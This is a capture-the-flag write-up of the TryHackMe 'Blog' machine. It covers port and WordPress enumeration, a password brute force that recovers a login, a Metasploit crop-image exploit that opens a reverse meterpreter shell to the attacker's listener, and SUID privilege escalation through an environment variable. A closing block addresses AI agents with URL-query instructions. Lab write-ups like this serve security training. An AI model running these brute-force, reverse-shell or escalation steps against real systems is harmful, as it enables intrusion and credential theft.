# Blog ## Scanning ### nmap starting with nmap scan check open ports and apply some scripts ``` $ nmap -sV -sC 10.10.64.200 Starting Nmap 7.60 ( https://nmap.org ) at 2021-10-04 00:48 BST Nmap scan report for ip-10-10-64-200.eu-west-1.compute.internal (10.10.64.200) Host is up (0.00058s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA) | 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA) |_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (EdDSA) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.0 | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Billy Joel's IT Blog – The IT blog 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) MAC Address: 02:24:8D:C5:10:C9 (Unknown) Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -1s, deviation: 0s, median: -1s |_nbstat: NetBIOS name: BLOG, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: blog | NetBIOS computer name: BLOG\x00 | Domain name: \x00 | FQDN: blog |_ System time: 2021-10-03T23:48:52+00:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-10-04 00:48:52 |_ start_date: 1600-12-31 23:58:45 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds ``` 22 SSH\ 80 HTTP\ 139,445 SMB ## Enumeration ### Port 139,445 ``` $ smbclient //10.10.64.200/BillySMB WARNING: The "syslog" option is deprecated Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> mget * Get file Alice-White-Rabbit.jpg? y getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (362.2 KiloBytes/sec) (average 362.2 KiloBytes/sec) Get file tswift.mp4? y getting file \tswift.mp4 of size 1236733 as tswift.mp4 (5440.3 KiloBytes/sec) (average 3975.5 KiloBytes/sec) Get file check-this.png? y getting file \check-this.png of size 3082 as check-this.png (1504.8 KiloBytes/sec) (average 3959.7 KiloBytes/sec) ``` check metadata and any included binaries Nothing here ### Port 80 this web server running WordPress lets enumerate some data ``` $ wpscan --url http://blog.thm --enumerate u _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.7 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N] [+] URL: http://blog.thm/ [10.10.64.200] [+] Started: Mon Oct 4 01:47:28 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.29 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: http://blog.thm/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access [+] WordPress readme found: http://blog.thm/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.0 identified (Insecure, released on 2018-12-06). | Found By: Rss Generator (Passive Detection) | - http://blog.thm/feed/, https://wordpress.org/?v=5.0 | - http://blog.thm/comments/feed/, https://wordpress.org/?v=5.0 [+] WordPress theme in use: twentytwenty | Location: http://blog.thm/wp-content/themes/twentytwenty/ | Last Updated: 2021-03-09T00:00:00.000Z | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt | [!] The version is out of date, the latest version is 1.7 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3 | Style Name: Twenty Twenty | Style URI: https://wordpress.org/themes/twentytwenty/ | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.3 (80% confidence) | Found By: Style (Passive Detection) | - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3' [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <==========================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] kwheel | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] bjoel | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] Karen Wheeler | Found By: Rss Generator (Passive Detection) | Confirmed By: Rss Generator (Aggressive Detection) [+] Billy Joel | Found By: Rss Generator (Passive Detection) | Confirmed By: Rss Generator (Aggressive Detection) [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up [+] Finished: Mon Oct 4 01:47:30 2021 [+] Requests Done: 52 [+] Cached Requests: 8 [+] Data Sent: 12.464 KB [+] Data Received: 405.955 KB [+] Memory used: 143.285 MB [+] Elapsed time: 00:00:02 ``` i found 2 users `kwheel`, `bjoel` ## Initial Access ### Brute Force lets brute force passwords for these users ``` wpscan --url http://blog.thm -U users.txt -P /usr/share/wordlists/rockyou.txt . . . [+] Performing password attack on Xmlrpc against 2 user/s [SUCCESS] - kwheel / cutiepie1 ``` Credentials `kwheel:cutiepie1` Version wordpress 5.0 ### Vulnerable WP Version ``` $ searchsploit WordPress 5.0 ---------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------- --------------------------------- WordPress Core 5.0 - Remote Code Execution | php/webapps/46511.js WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) | php/remote/46662.rb WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Pos | multiple/webapps/47690.md WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service | php/dos/47800.py WordPress Plugin Custom Pages 0.5.0.1 - Local File Inclusion | php/webapps/17119.txt WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metas | php/remote/47187.rb WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt WordPress Plugin FeedWordPress 2015.0426 - SQL Injection | php/webapps/37067.txt WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt WordPress Plugin leenk.me 2.5.0 - Cross-Site Request Forgery / Cross- | php/webapps/39704.txt WordPress Plugin Marketplace Plugin 1.5.0 < 1.6.1 - Arbitrary File Up | php/webapps/18988.php WordPress Plugin Network Publisher 5.0.1 - 'networkpub_key' Cross-Sit | php/webapps/37174.txt WordPress Plugin Nmedia WordPress Member Conversation 1.35.0 - 'doupl | php/webapps/37353.php WordPress Plugin Quick Page/Post Redirect 5.0.3 - Multiple Vulnerabil | php/webapps/32867.txt WordPress Plugin WP-Property 1.35.0 - Arbitrary File Upload | php/webapps/18987.php ---------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` i'll use this module `WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)` ``` msf5 > use exploit/multi/http/wp_crop_rce [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf5 exploit(multi/http/wp_crop_rce) > options Module options (exploit/multi/http/wp_crop_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes The WordPress password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to the wordpress application USERNAME yes The WordPress username to authenticate with VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.222.250 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 WordPress msf5 exploit(multi/http/wp_crop_rce) > set password cutiepie1 password => cutiepie1 msf5 exploit(multi/http/wp_crop_rce) > set rhost 10.10.64.200 rhost => 10.10.64.200 msf5 exploit(multi/http/wp_crop_rce) > set username kwheel username => kwheel msf5 exploit(multi/http/wp_crop_rce) > run [*] Started reverse TCP handler on 10.10.222.250:4444 [*] Authenticating with WordPress using kwheel:cutiepie1... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload [+] Image uploaded [*] Including into theme [*] Sending stage (38288 bytes) to 10.10.64.200 [*] Meterpreter session 1 opened (10.10.222.250:4444 -> 10.10.64.200:34318) at 2021-10-04 01:55:36 +0100 [*] Attempting to clean up files... meterpreter > shell SHELL=/bin/bash script -q /dev/null www-data@blog:/$ ``` * [x] Service Shell ## Privilege Escalation ### SUID searching for sticky bit ``` www-data@blog:/$ find / -type f -user root -perm -u=s 2>/dev/null find / -type f -user root -perm -u=s 2>/dev/null /usr/bin/passwd /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/chsh /usr/bin/newuidmap /usr/bin/pkexec /usr/bin/chfn /usr/bin/sudo /usr/bin/newgidmap /usr/bin/traceroute6.iputils /usr/sbin/checker /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /bin/mount /bin/fusermount /bin/umount /bin/ping /bin/su /snap/core/8268/bin/mount /snap/core/8268/bin/ping /snap/core/8268/bin/ping6 /snap/core/8268/bin/su /snap/core/8268/bin/umount /snap/core/8268/usr/bin/chfn /snap/core/8268/usr/bin/chsh /snap/core/8268/usr/bin/gpasswd /snap/core/8268/usr/bin/newgrp /snap/core/8268/usr/bin/passwd /snap/core/8268/usr/bin/sudo /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/8268/usr/lib/openssh/ssh-keysign /snap/core/8268/usr/lib/snapd/snap-confine /snap/core/8268/usr/sbin/pppd /snap/core/9066/bin/mount /snap/core/9066/bin/ping /snap/core/9066/bin/ping6 /snap/core/9066/bin/su /snap/core/9066/bin/umount /snap/core/9066/usr/bin/chfn /snap/core/9066/usr/bin/chsh /snap/core/9066/usr/bin/gpasswd /snap/core/9066/usr/bin/newgrp /snap/core/9066/usr/bin/passwd /snap/core/9066/usr/bin/sudo /snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/9066/usr/lib/openssh/ssh-keysign /snap/core/9066/usr/lib/snapd/snap-confine /snap/core/9066/usr/sbin/pppd ``` `/usr/sbin/checker` this file looks interesting lets run it ``` www-data@blog:/$ /usr/sbin/checker /usr/sbin/checker Not an Admin ``` The executable is a 64bit ELF ``` www-data@blog:/$ file /usr/sbin/checker file /usr/sbin/checker /usr/sbin/checker: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6cdb17533a6e02b838336bfe9791b5d57e1e2eea, not stripped ``` Running it with `ltrace` reveals that the executable is checking an environment variable `admin`to determine if we are an admin ``` www-data@blog:/$ ltrace /usr/sbin/checker ltrace /usr/sbin/checker getenv("admin") = nil puts("Not an Admin"Not an Admin ) = 13 +++ exited (status 0) +++ ``` Let’s create an `admin` environment variable and set it at `1` ``` www-data@blog:/$ export admin=1 export admin=1 www-data@blog:/$ /usr/sbin/checker /usr/sbin/checker root@blog:/# whoami root ``` * [x] Root Shell --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/linux-boxes/blog.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.